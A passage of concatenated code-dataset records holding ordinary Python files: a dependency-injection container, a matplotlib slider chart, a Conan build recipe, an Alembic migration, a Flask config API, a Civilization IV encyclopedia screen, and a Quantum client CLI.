DependencyGroup, DependencyConfig, DependencyCallback)) else arg) for arg in args]\n\n object_group = kwargs.pop(\"_group\", [])\n object_alias = kwargs.pop(\"_alias\", None)\n object_config = kwargs.pop(\"_config\", False)\n\n kwargs = dict((k, Dependency(v) if not isinstance(\n v, (Dependency, DependencyPath, DependencyGroup, DependencyConfig)) else v) for k, v in kwargs.items())\n\n obj = ObjectFactory(class_object, self.__container, *args, **kwargs)\n self.__group_factory(obj, object_group)\n self.__add_alias(obj, object_alias)\n self.__set_config(obj, object_config)\n\n paths = _retrieve_class_path(class_object)\n current_level = self.__container\n\n for i, path in enumerate(paths):\n if (i == len(paths) - 1):\n current_level[path] = obj\n else:\n if path not in current_level:\n current_level[path] = ObjectFactoryMap()\n current_level = current_level[path]\n\n def __set_config(self, obj, as_config=True):\n if as_config:\n self.__container[\"_config\"] = obj\n\n def __add_alias(self, obj, alias_name=None):\n if alias_name is None:\n return False\n\n self.__container._alias[alias_name] = obj\n\n def __group_factory(self, obj, group_name=None):\n if group_name is None or not len(group_name):\n return False\n\n if isinstance(group_name, str):\n group_name = [group_name]\n\n for name in group_name:\n if name not in self.__container._group:\n self.__container._group[name] = []\n\n self.__container._group[name].append(obj)\n","sub_path":"easydi/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":15325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"443742608","text":"import pandas as pd\nimport numpy as np\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom math import sqrt\nfrom matplotlib.widgets import Slider, Button\nimport matplotlib.colors as mcol\nimport matplotlib.cm as cm\n\nnp.random.seed(12345)\n\ndf = pd.DataFrame([np.random.normal(32000,200000,3650), \n np.random.normal(43000,100000,3650), \n np.random.normal(43500,140000,3650), \n np.random.normal(48000,70000,3650)], \n index=[1992,1993,1994,1995])\nyears = np.arange(4)\n\nerror = [(df.loc[1992].std()/sqrt(len(df.loc[1992]))), (df.loc[1993].std()/sqrt(len(df.loc[1993]))), (df.loc[1994].std()/sqrt(len(df.loc[1994]))), (df.loc[1995].std()/sqrt(len(df.loc[1995])))]\n\n\nfig, ax = plt.subplots()\nplt.subplots_adjust(left=0.25, bottom=0.25)\nl = [((df.loc[1992]).mean()), ((df.loc[1992]).mean()), ((df.loc[1994]).mean()), ((df.loc[1995]).mean())]\n\n###############################################################################################\ncm1 = mcol.LinearSegmentedColormap.from_list(\"Test\",[\"blue\", \"white\", \"red\"])\ncpick = cm.ScalarMappable(cmap=cm1) \ncpick.set_array([])\nplt.colorbar(cpick, orientation='vertical')\n\ndef percentages(threshold):\n percentages = []\n for bar in bars:\n percentage = (bar.get_height()-threshold)/(bar.get_height())\n percentage += 0.5\n #print(percentage)\n #print(percentage)\n if percentage>1:\n \tpercentage = 1\n elif percentage<0:\n \tpercentage=0\n else:\n \tpercentage = percentage\n percentages.append(percentage)\n return percentages\n\n\n###############################################################################################\n\nbars = ax.bar(years, l, width = 0.7, color = 'red', edgecolor = 'black', yerr = error)\n\nframe1 = plt.gca()\nframe1.axes.get_xaxis().set_ticks([])\n\nax.set_xticks(years)\nax.set_xticklabels(('1992','1993','1994','1995'))\nax.spines['right'].set_visible(False)\nax.spines['top'].set_visible(False)\nplt.xlabel('Years')\nplt.ylabel('Samplings')\nplt.title('Success probability of Samplings')\n\ny_value = 11111\n\n#y_value = input('Enter preferred Y - axis value:\\t')\nfor i, bar in enumerate(bars):\n\t#print(int(bar.get_height()))\n\tif y_value < int(bar.get_height()):\n\t\tbar.set_facecolor('red')\n\telse:\n\t\tbar.set_facecolor('blue')\ny_line = ax.axhline(y = 0, linewidth = 1, color = 'black')\nax.axhline(y = 0, xmin=-.9, xmax=1.9, clip_on = False, color = 'black')\n#ax.axvline(x = -0.5, ymin=-.1, ymax=1.1, clip_on = False)\n\n\ndef update(val):\n\tglobal y_line\n\ty_line.remove()\n\ty_value = sldr.val\n\ty_line = ax.axhline(y = y_value, linewidth = 1, color = 'black')\n\t#for i, bar in enumerate(bars):\n\t#\tbar.set_facecolor()\n\tperc = percentages(y_value)\n\tfor bar, p in zip(bars, perc):\n\t\tbar.set_color(cpick.to_rgba(p))\n\nfreq = plt.axes([0.25, 0.1, 0.65, 0.03], facecolor = 'blue')\nsldr = Slider(freq, 'Y - Value', 0, 50000, valinit = 3)\nsldr.on_changed(update)\nplt.xlabel('Select Y value here', size = 20)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nplt.show()\n","sub_path":"data_analysis/code/plot_wk3.py","file_name":"plot_wk3.py","file_ext":"py","file_size_in_byte":3022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"281240028","text":"from conans import ConanFile, AutoToolsBuildEnvironment, tools\nfrom conans.errors import ConanInvalidConfiguration\nimport os\n\n\nclass GumboParserConan(ConanFile):\n name = \"gumbo-parser\"\n description = \"An HTML5 parsing library in pure C99\"\n topics = (\"conan\", \"parser\")\n url = \"https://github.com/conan-io/conan-center-index\"\n homepage = \"https://github.com/google/gumbo-parser\"\n license = \"Apache-2.0\"\n settings = \"os\", \"arch\", \"compiler\", \"build_type\"\n options = {\"shared\": [True, False], \"fPIC\": [True, False]}\n default_options = {\"shared\": False, \"fPIC\": True}\n\n _autotools = None\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n def config_options(self):\n if self.settings.os == \"Windows\":\n del self.options.fPIC\n\n def configure(self):\n del self.settings.compiler.libcxx\n del self.settings.compiler.cppstd\n if self.settings.compiler == \"Visual Studio\":\n raise ConanInvalidConfiguration(\"This recipe does not support Visual Studio\")\n\n def build_requirements(self):\n self.build_requires(\"libtool/2.4.6\")\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version])\n extracted_folder = \"gumbo-parser-{0}\".format(self.version)\n os.rename(extracted_folder, self._source_subfolder)\n\n def _configure_autotools(self):\n if not self._autotools:\n with tools.chdir(self._source_subfolder):\n self.run(\"./autogen.sh\", win_bash=tools.os_info.is_windows)\n self._autotools = AutoToolsBuildEnvironment(self, win_bash=tools.os_info.is_windows)\n args = []\n if self.options.shared:\n args.extend(['--disable-static', '--enable-shared'])\n else:\n args.extend(['--disable-shared', '--enable-static'])\n self._autotools.configure(configure_dir=self._source_subfolder, args=args)\n return self._autotools\n\n def build(self):\n autotools = self._configure_autotools()\n autotools.make()\n\n def package(self):\n self.copy(pattern=\"COPYING\", dst=\"licenses\", src=self._source_subfolder)\n autotools = self._configure_autotools()\n autotools.install()\n tools.rmdir(os.path.join(self.package_folder, 'lib', 'pkgconfig'))\n os.unlink(os.path.join(self.package_folder, 'lib', 'libgumbo.la'))\n\n def package_info(self):\n self.cpp_info.names[\"pkg_config\"] = \"gumbo\"\n self.cpp_info.libs = [\"gumbo\"]\n if self.settings.os == \"Linux\":\n self.cpp_info.system_libs.append(\"m\")\n","sub_path":"recipes/gumbo-parser/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"560833418","text":"\"\"\"project table\n\nRevision ID: b687c4a3a969\nRevises: 9c9eee2b9cd5\nCreate Date: 2020-05-12 20:27:06.512296\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b687c4a3a969'\ndown_revision = '9c9eee2b9cd5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('project',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(length=100), nullable=False),\n sa.Column('body', sa.String(length=500), nullable=True),\n sa.Column('status', sa.Integer(), nullable=True),\n sa.Column('sdate', sa.DateTime(), nullable=True),\n sa.Column('edate', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['user_id'], ['user.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.create_index(op.f('ix_project_sdate'), 'project', ['sdate'], unique=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_project_sdate'), table_name='project')\n op.drop_table('project')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/b687c4a3a969_project_table.py","file_name":"b687c4a3a969_project_table.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"471690300","text":"from flask_restplus import Namespace, Resource\n\nfrom polylogyx.blueprints.v1.utils import *\nfrom polylogyx.dao.v1 import hosts_dao, configs_dao as dao\nfrom polylogyx.wrappers.v1 import parent_wrappers as parentwrapper\n\nns = Namespace('configs', description='Configurations resources blueprint')\n\n\n@ns.route('/all', endpoint='list_configs')\n@ns.doc(params={})\nclass ConfigList(Resource):\n '''Lists out all configs'''\n\n def get(self):\n data = dao.get_all_configs()\n message = \"Successfully fetched the config data\"\n status = \"success\"\n if not data:\n data = {}\n return marshal(respcls(message, status, data), parentwrapper.common_response_wrapper)\n\n\n@ns.route('/view', endpoint='list_config_by_platform')\n@ns.doc(params={'platform': 'one of [\"windows\", \"linux\", \"darwin\"]','arch':'arch of platform whether x86 or x86_64'})\nclass GetConfigByPlatformOrNode(Resource):\n '''Lists the config by its Platform or host_identifier'''\n\n parser = requestparse(['platform', 'arch', 'host_identifier'], [str, str, str],\n [\"platform name(linux/windows/darwin)\", \"arch of platform(x86/x86_64)\", \"host identifer of the node to get config for\"], [False, False, False], [[\"linux\", \"windows\", \"darwin\"],[\"x86\",\"x86_64\"], None])\n\n @ns.expect(parser)\n def post(self):\n status = \"failure\"\n config = {}\n args = self.parser.parse_args()\n if args['host_identifier']:\n node = hosts_dao.get_node_by_host_identifier(args['host_identifier'])\n if node:\n config = node.get_config()\n message = \"Successfully fetched the config through host identifier passed\"\n else:\n message = \"Host identifier passed is not valid!\"\n else:\n config = dao.get_config(args['platform'], args['arch'])\n if config:\n config = dao.get_config_by_platform(config)\n status = \"success\"\n message = \"Config is fetched successfully for the platform given\"\n else:\n message = \"Requested config is not present for the platform, arch, type given!\"\n if config:\n status=\"success\"\n return marshal(respcls(message, status, config), parentwrapper.common_response_wrapper, skip_none=True)\n\n\n@ns.route('/update', endpoint='update_config_by_platform')\n@ns.doc(params={'platform': 'one of [\"windows\", \"linux\", \"darwin\"]', 'filters': 'filters to define for the specific platform', 'queries': 'queries to define for the specific platform', 'arch':'arch of platform whether x86 or x86_64'})\nclass EditConfigByPlatform(Resource):\n '''Lists or edits the config by its Platform'''\n\n parser = requestparse(['filters', 'queries', 'arch', 'platform', 'type'], [dict, dict, str, str, str],\n [\"filters to define for the specific platform\", \"queries to define for the specific platform\", \"arch of platform(x86/x86_64)\", \"platform name(windows/linux/darwin)\", \"type of the config(default/shallow/config)\"], [True, True, False, True, False],[None,None,[\"x86\",\"x86_64\"],[\"linux\", \"windows\", \"darwin\"], [\"default\", \"shallow\", \"deep\"]],[None, None, \"x86_64\", None, \"default\"])\n\n @ns.doc(body=parser)\n @ns.expect(parser)\n def post(self):\n '''Modifies and returns the API response if there is any existed data for the passed platform'''\n args = self.parser.parse_args()\n status = \"failure\"\n platform = args['platform']\n arch = args['arch']\n type = args['type']\n if platform==\"windows\" and arch==\"x86_64\" and type==\"default\":\n type=\"shallow\"\n type_mapping = {'default':0, 'shallow': 1, 'deep': 2}\n config = dao.get_config(platform, arch, type_mapping[type])\n queries = args['queries']\n filters = args['filters']\n if config:\n for query in queries:\n if 'status' not in queries[query] or 'interval' not in queries[query]:\n abort(400, \"Please provide both interval and status for all queries!\")\n\n config_data = dao.edit_config_by_platform(config, filters, queries)\n current_app.logger.info(\"Config is updated for {0} platform {1} arch {2} type\".format(platform, arch, type_mapping[type]))\n status = \"success\"\n message = \"Config is updated successfully for the platform given\"\n else:\n config_data = None\n message = \"Requested config is not present for the platform, arch, type given!\"\n return marshal(respcls(message, status, config_data), parentwrapper.common_response_wrapper, skip_none=True)\n\n\n@ns.route('/toggle', endpoint='toggle_config')\nclass ToggleConfigByPlatform(Resource):\n parser = requestparse(['platform', 'arch', 'type'], [str, str, str],\n [\"platform\", \"arch of platform(x86/x86_64)\", \"type of the config(default/shallow/config)\"], [True, True, True],\n [[\"windows\", \"linux\", \"darwin\"], [\"x86\", \"x86_64\"], [\"default\", \"shallow\", \"deep\"]], [None, \"x86_64\", \"default\"])\n\n @ns.expect(parser)\n def put(self):\n args = self.parser.parse_args()\n arch = args['arch']\n type = args['type']\n platform = args['platform']\n\n if platform == \"windows\" and arch == \"x86_64\" and type == \"default\":\n type = \"shallow\"\n type_mapping = {'default': 0, 'shallow': 1, 'deep': 2}\n config = dao.make_default_config(platform, arch, type_mapping[type])\n current_app.logger.info(\n \"Config is toggled for {0} platform {1} arch to {2} type\".format(platform, arch, type_mapping[type]))\n status = \"success\"\n message = \"Default config for the platform and arch given is changed successfully\"\n return marshal(respcls(message, status), parentwrapper.common_response_wrapper, skip_none=True)\n\n","sub_path":"plgx-esp-ui/polylogyx/blueprints/v1/configs.py","file_name":"configs.py","file_ext":"py","file_size_in_byte":5910,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"341638964","text":"from CvPythonExtensions import *\nimport CvUtil\nimport ScreenInput\nimport CvScreenEnums\ngc = CyGlobalContext()\n\nclass CvPediaPromotion:\n\tdef __init__(self, main):\n\t\tself.iPromotion = -1\n\t\tself.top = main\n\t\tself.iSize = 48\n\n\tdef interfaceScreen(self, iPromotion):\t\n\t\tself.iPromotion = iPromotion\n\t\tself.top.deleteAllWidgets()\t\t\t\n\t\tscreen = self.top.getScreen()\n\t\tif not screen.isActive():\n\t\t\tself.top.setPediaCommonWidgets()\n\n\t\tself.H_ICON = 150\n\t\tself.W_MAIN_PANE = screen.getXResolution()/4\n\t\tself.H_MAIN_PANE = 210\n\t\tself.X_ICON = (self.W_MAIN_PANE - self.H_ICON)/2 + self.top.X_ITEMS_PANE\n\t\tself.Y_ICON = (self.H_MAIN_PANE - self.H_ICON)/2 + self.top.Y_ITEMS_PANE\n\n\t\tself.X_PREREQ_PANE = self.top.X_ITEMS_PANE + self.W_MAIN_PANE + self.top.W_BORDER\n\t\tself.W_PREREQ_PANE = self.top.W_ITEMS_PANE - self.W_MAIN_PANE - self.top.W_BORDER\n\t\tself.Y_PREREQ_PANE = self.top.Y_ITEMS_PANE - self.top.W_BORDER\n\t\tself.H_PREREQ_PANE = 110\n\t\tself.Y_LEADS_TO_PANE = self.Y_PREREQ_PANE + self.H_PREREQ_PANE + 10\t\t\t\t\n\t\tself.Y_SPECIAL = self.Y_LEADS_TO_PANE + self.H_PREREQ_PANE + 10\n\t\tself.H_SPECIAL = screen.getYResolution() - self.Y_SPECIAL - self.top.Y_ITEMS_PANE\n\n\t\tszHeader = gc.getPromotionInfo(self.iPromotion).getDescription().upper()\n\t\tszHeader = u\"\" + self.top.color4 + CyTranslator().getText(self.top.sPromotionIcon, ()) + szHeader + \" \" + CyTranslator().getText(self.top.sPromotionIcon, ()) + \"\"\n\t\tscreen.setLabel(self.top.getNextWidgetName(), \"Background\", szHeader, CvUtil.FONT_CENTER_JUSTIFY, screen.getXResolution()/2, self.top.Y_TITLE, 0, FontTypes.TITLE_FONT, WidgetTypes.WIDGET_GENERAL, -1, -1)\n\t\t\n\t\tscreen.setText(self.top.getNextWidgetName(), \"Background\", self.top.MENU_TEXT, CvUtil.FONT_CENTER_JUSTIFY, screen.getXResolution()/2, screen.getYResolution() - 42, 0, FontTypes.TITLE_FONT, WidgetTypes.WIDGET_PEDIA_MAIN, self.top.PLATYPEDIA_PROMOTION, -1)\n\t\tscreen.addPanel( self.top.getNextWidgetName(), \"\", \"\", False, False, self.top.X_ITEMS_PANE, self.top.Y_ITEMS_PANE, self.W_MAIN_PANE, self.H_MAIN_PANE, PanelStyles.PANEL_STYLE_BLUE50)\n\t\tscreen.addPanel(self.top.getNextWidgetName(), \"\", \"\", False, False, self.X_ICON, self.Y_ICON, self.H_ICON, self.H_ICON, PanelStyles.PANEL_STYLE_MAIN)\n\t\tscreen.addDDSGFC(self.top.getNextWidgetName(), gc.getPromotionInfo(self.iPromotion).getButton(), self.X_ICON + self.H_ICON/2 - 64/2, self.Y_ICON + self.H_ICON/2 - 64/2, 64, 64, WidgetTypes.WIDGET_GENERAL, -1, -1 )\n\n\t\tself.placePrereqs()\n\t\tself.placeLeadsTo()\n\t\tself.placeSpecial()\n\t\tself.placeUnitGroups()\n\t\tself.placeLinks(self.top.iLastScreen == CvScreenEnums.PEDIA_PROMOTION and screen.isActive())\n\t\tself.top.iLastScreen = CvScreenEnums.PEDIA_PROMOTION\n\n\tdef placeLeadsTo(self):\n\t\tscreen = self.top.getScreen()\n\t\tpanelName = self.top.getNextWidgetName()\n\t\tscreen.addPanel(panelName, CyTranslator().getText(\"TXT_KEY_PEDIA_LEADS_TO\", ()), \"\", False, True, self.X_PREREQ_PANE, self.Y_LEADS_TO_PANE, self.W_PREREQ_PANE, self.H_PREREQ_PANE, PanelStyles.PANEL_STYLE_BLUE50 )\n\t\tfor j in xrange(gc.getNumPromotionInfos()):\n\t\t\tif (gc.getPromotionInfo(j).getPrereqPromotion() == self.iPromotion or gc.getPromotionInfo(j).getPrereqOrPromotion1() == self.iPromotion or gc.getPromotionInfo(j).getPrereqOrPromotion2() == self.iPromotion):\n\t\t\t\tscreen.attachImageButton(panelName, \"\", gc.getPromotionInfo(j).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_PROMOTION, j, 1, False)\n\n\tdef placePrereqs(self):\n\t\tscreen = self.top.getScreen()\n\t\tpanelName = self.top.getNextWidgetName()\n\t\tscreen.addPanel( panelName, CyTranslator().getText(\"TXT_KEY_PEDIA_REQUIRES\", ()), \"\", False, True, self.X_PREREQ_PANE, self.Y_PREREQ_PANE, self.W_PREREQ_PANE, self.H_PREREQ_PANE, PanelStyles.PANEL_STYLE_BLUE50 )\n\t\t\n\t\tePromo = gc.getPromotionInfo(self.iPromotion).getPrereqPromotion()\n\t\tif (ePromo > -1):\n\t\t\tscreen.attachImageButton( panelName, \"\", gc.getPromotionInfo(ePromo).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_PROMOTION, ePromo, 1, False )\n\n\t\tePromoOr1 = gc.getPromotionInfo(self.iPromotion).getPrereqOrPromotion1()\n\t\tePromoOr2 = gc.getPromotionInfo(self.iPromotion).getPrereqOrPromotion2()\n\t\tif (ePromoOr1 > -1):\n\t\t\tif (ePromo > -1):\n\t\t\t\tscreen.attachLabel(panelName, \"\", CyTranslator().getText(\"TXT_KEY_AND\", ()))\n\t\t\t\n\t\t\t\tif (ePromoOr2 > -1):\n\t\t\t\t\tscreen.attachLabel(panelName, \"\", \"(\")\n\n\t\t\tscreen.attachImageButton( panelName, \"\", gc.getPromotionInfo(ePromoOr1).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_PROMOTION, ePromoOr1, 1, False )\n\n\t\t\tif (ePromoOr2 > -1):\n\t\t\t\tscreen.attachLabel(panelName, \"\", CyTranslator().getText(\"TXT_KEY_OR\", ()))\n\t\t\t\tscreen.attachImageButton( panelName, \"\", gc.getPromotionInfo(ePromoOr2).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_PROMOTION, ePromoOr2, 1, False )\n\n\t\t\t\tif (ePromo > -1):\n\t\t\t\t\tscreen.attachLabel(panelName, \"\", \")\")\n\t\t\t\t\t\t\t\t\n\t\teTech = gc.getPromotionInfo(self.iPromotion).getTechPrereq()\n\t\tif (eTech > -1):\n\t\t\tscreen.attachImageButton( panelName, \"\", gc.getTechInfo(eTech).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_TECH, eTech, 1, False )\t\t\n\t\t\t\t\t\t\n\t\teReligion = gc.getPromotionInfo(self.iPromotion).getStateReligionPrereq()\n\t\tif (eReligion > -1):\n\t\t\tscreen.attachImageButton( panelName, \"\", gc.getReligionInfo(eReligion).getButton(), GenericButtonSizes.BUTTON_SIZE_CUSTOM, WidgetTypes.WIDGET_PEDIA_JUMP_TO_RELIGION, eReligion, 1, False )\t\t\n\t\t\t\t\t\t\n\tdef placeSpecial(self):\n\t\tscreen = self.top.getScreen()\n\t\tpanelName = self.top.getNextWidgetName()\n\t\tscreen.addPanel( panelName, CyTranslator().getText(\"TXT_KEY_PEDIA_SPECIAL_ABILITIES\", ()), \"\", True, False, self.X_PREREQ_PANE, self.Y_SPECIAL, self.W_PREREQ_PANE, self.H_SPECIAL, PanelStyles.PANEL_STYLE_BLUE50 )\n\t\tszSpecialText = CyGameTextMgr().getPromotionHelp(self.iPromotion, True)[1:]\n\t\tscreen.addMultilineText(self.top.getNextWidgetName(), szSpecialText, self.X_PREREQ_PANE+5, self.Y_SPECIAL+30, self.W_PREREQ_PANE-10, self.H_SPECIAL-30, WidgetTypes.WIDGET_GENERAL, -1, -1, CvUtil.FONT_LEFT_JUSTIFY)\t\n\n\tdef placeUnitGroups(self):\n\t\tscreen = self.top.getScreen()\n\t\tscreen.addPanel(self.top.getNextWidgetName(), CyTranslator().getText(\"TXT_KEY_PEDIA_PROMOTION_UNITS\", ()), \"\", True, True, self.top.X_ITEMS_PANE, self.Y_SPECIAL, self.W_MAIN_PANE, self.H_SPECIAL, PanelStyles.PANEL_STYLE_BLUE50 )\n\t\tpanelName = self.top.getNextWidgetName()\n\t\tscreen.addScrollPanel(panelName, \"\", self.top.X_ITEMS_PANE - 2, self.Y_SPECIAL + 20, self.W_MAIN_PANE + 4, self.H_SPECIAL - 46, PanelStyles.PANEL_STYLE_EMPTY)\n\n\t\tiY = 6\n\t\tiAdjustment = (self.iSize - 16) /2 - iY\n\t\t\n\t\tfor item in xrange(gc.getNumUnitCombatInfos()):\n\t\t\tif gc.getPromotionInfo(self.iPromotion).getUnitCombat(item):\n\t\t\t\tscreen.setImageButtonAt(self.top.getNextWidgetName(), panelName, gc.getUnitCombatInfo(item).getButton(), 0, iY, self.iSize, self.iSize, WidgetTypes.WIDGET_PEDIA_JUMP_TO_UNIT_COMBAT, item, 1)\n\t\t\t\tscreen.setTextAt(self.top.getNextWidgetName(), panelName, u\"\" + gc.getUnitCombatInfo(item).getDescription() + u\"\", CvUtil.FONT_LEFT_JUSTIFY, self.iSize, iY + iAdjustment, -0.1, FontTypes.SMALL_FONT, WidgetTypes.WIDGET_GENERAL, -1, -1)\n\t\t\t\tiY += (self.iSize + 4)\n\n\tdef placeLinks(self, bRedraw):\n\t\tscreen = self.top.getScreen()\n\t\tif bRedraw:\n\t\t\tscreen.show(\"PlatyTable\")\n\t\t\treturn\n\t\tscreen.addTableControlGFC(\"PlatyTable\", 1, self.top.X_PANEL, 55, self.top.W_PANEL, screen.getYResolution() - 110, False, False, 24, 24, TableStyles.TABLE_STYLE_STANDARD);\n\t\tscreen.enableSelect(\"PlatyTable\", True)\n\t\tscreen.setTableColumnHeader(\"PlatyTable\", 0, \"\", self.top.W_PANEL)\n\t\tlistSorted = self.top.sortPromotions(self.top.iSortPromotions)\n\t\tself.top.placePediaLinks(listSorted, CyTranslator().getText(self.top.sPromotionIcon, ()), self.iPromotion, WidgetTypes.WIDGET_PEDIA_JUMP_TO_PROMOTION, -1)\n\n\tdef handleInput (self, inputClass):\n\t\treturn 0","sub_path":"Assets/Python/Screens/PlatyPedia/PlatyPediaPromotion.py","file_name":"PlatyPediaPromotion.py","file_ext":"py","file_size_in_byte":7925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"372996068","text":"# This is a sample Python script.\n\n# Press Shift+F10 to execute it or replace it with your code.\n# Press Double Shift to search everywhere for classes, files, tool windows, actions, and settings.\n\nradius = float(input(\"Enter your radius: \"))\npi = 3.14\n\narea = pi * radius**2\n\ncircumference = 2 * pi * radius\n\nprint(area)\n\nprint(circumference)\n","sub_path":"Monsur/shapes_cal.py","file_name":"shapes_cal.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"323681306","text":"# Copyright 2012 OpenStack LLC.\n# All Rights Reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n#\n# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\nimport logging\nimport itertools\n\nfrom cliff import lister\nfrom cliff import show\n\nfrom quantumclient.common import exceptions\nfrom quantumclient.common import utils\nfrom quantumclient import net_filters_v11_opt\nfrom quantumclient.quantum.v1_1 import QuantumCommand\n\n\nclass ListNetwork(QuantumCommand, lister.Lister):\n \"\"\"List networks that belong to a given tenant\"\"\"\n\n api = 'network'\n log = logging.getLogger(__name__ + '.ListNetwork')\n\n def get_parser(self, prog_name):\n parser = super(ListNetwork, self).get_parser(prog_name)\n parser.add_argument(\n '--show-details',\n help='show detailed info',\n action='store_true',\n default=False, )\n for net_filter in net_filters_v11_opt:\n option_key = net_filter.keys()[0]\n option_defs = net_filter.get(option_key)\n parser.add_argument(option_key, **option_defs)\n return parser\n\n def get_data(self, parsed_args):\n self.log.debug('get_data(%s)' % parsed_args)\n quantum_client = self.app.client_manager.quantum\n search_opts = {\n 'tenant': parsed_args.tenant_id, }\n for net_filter in net_filters_v11_opt:\n option_key = net_filter.keys()[0]\n arg = option_key[2:]\n arg = arg.replace('-', '_')\n arg_value = getattr(parsed_args, arg, None)\n if arg_value is not None:\n search_opts.update({option_key[2:]: arg_value, })\n\n self.log.debug('search options: %s', search_opts)\n quantum_client.format = parsed_args.request_format\n columns = ('ID', )\n data = None\n if parsed_args.show_details:\n data = quantum_client.list_networks_details(**search_opts)\n # dict: {u'networks': [{u'op-status': u'UP',\n # u'id': u'7a068b68-c736-42ab-9e43-c9d83c57627e',\n # u'name': u'private'}]}\n columns = ('ID', 'op-status', 'name', )\n else:\n data = quantum_client.list_networks(**search_opts)\n # {u'networks': [{u'id':\n # u'7a068b68-c736-42ab-9e43-c9d83c57627e'}]}\n networks = []\n if 'networks' in data:\n networks = data['networks']\n\n return (columns,\n (utils.get_item_properties(\n s, columns, formatters={}, ) for s in networks), )\n\n\ndef _format_attachment(port):\n # attachment {u'id': u'gw-7a068b68-c7'}\n try:\n return ('attachment' in port and port['attachment'] and\n 'id' in port['attachment'] and\n port['attachment']['id'] or '')\n except Exception:\n return ''\n\n\nclass ShowNetwork(QuantumCommand, show.ShowOne):\n \"\"\"Show information of a given network\"\"\"\n\n api = 'network'\n log = logging.getLogger(__name__ + '.ShowNetwork')\n\n def get_parser(self, prog_name):\n parser = super(ShowNetwork, self).get_parser(prog_name)\n parser.add_argument(\n 'net_id', metavar='net-id',\n help='ID of network to display')\n\n parser.add_argument(\n '--show-details',\n help='show detailed info of networks',\n action='store_true',\n default=False, )\n return parser\n\n def get_data(self, parsed_args):\n self.log.debug('get_data(%s)' % parsed_args)\n quantum_client = self.app.client_manager.quantum\n quantum_client.tenant = parsed_args.tenant_id\n quantum_client.format = parsed_args.request_format\n data = None\n if parsed_args.show_details:\n data = quantum_client.show_network_details(parsed_args.net_id)\n else:\n data = quantum_client.show_network(parsed_args.net_id)\n # {u'network': {u'op-status': u'UP', 'xmlns':\n # u'http://openstack.org/quantum/api/v1.1', u'id':\n # u'7a068b68-c736-42ab-9e43-c9d83c57627e', u'name': u'private'}}\n network = {}\n ports = None\n network = 'network' in data and data['network'] or None\n if network:\n ports = network.pop('ports', None)\n column_names, data = zip(*sorted(network.iteritems()))\n if not parsed_args.columns:\n columns_to_include = column_names\n else:\n columns_to_include = [c for c in column_names\n if c in parsed_args.columns]\n # Set up argument to compress()\n selector = [(c in columns_to_include)\n for c in column_names]\n data = list(itertools.compress(data, selector))\n formatter = self.formatters[parsed_args.formatter]\n formatter.emit_one(columns_to_include, data,\n self.app.stdout, parsed_args)\n if ports:\n print >>self.app.stdout, _('Network Ports:')\n columns = ('op-status', 'state', 'id', 'attachment', )\n column_names, data = (columns, (utils.get_item_properties(\n s, columns, formatters={'attachment': _format_attachment}, )\n for s in ports), )\n if not parsed_args.columns:\n columns_to_include = column_names\n data_gen = data\n else:\n columns_to_include = [c for c in column_names\n if c in parsed_args.columns]\n if not columns_to_include:\n raise ValueError(\n 'No recognized column names in %s' %\n str(parsed_args.columns))\n # Set up argument to compress()\n selector = [(c in columns_to_include)\n for c in column_names]\n # Generator expression to only return the parts of a row\n # of data that the user has expressed interest in\n # seeing. We have to convert the compress() output to a\n # list so the table formatter can ask for its length.\n data_gen = (list(itertools.compress(row, selector))\n for row in data)\n formatter = self.formatters[parsed_args.formatter]\n formatter.emit_list(columns_to_include,\n data_gen, self.app.stdout, parsed_args)\n\n return ('', [])\n\n\nclass CreateNetwork(QuantumCommand, show.ShowOne):\n \"\"\"Create a network for a given tenant\"\"\"\n\n api = 'network'\n log = logging.getLogger(__name__ + '.CreateNetwork')\n\n def get_parser(self, prog_name):\n parser = super(CreateNetwork, self).get_parser(prog_name)\n 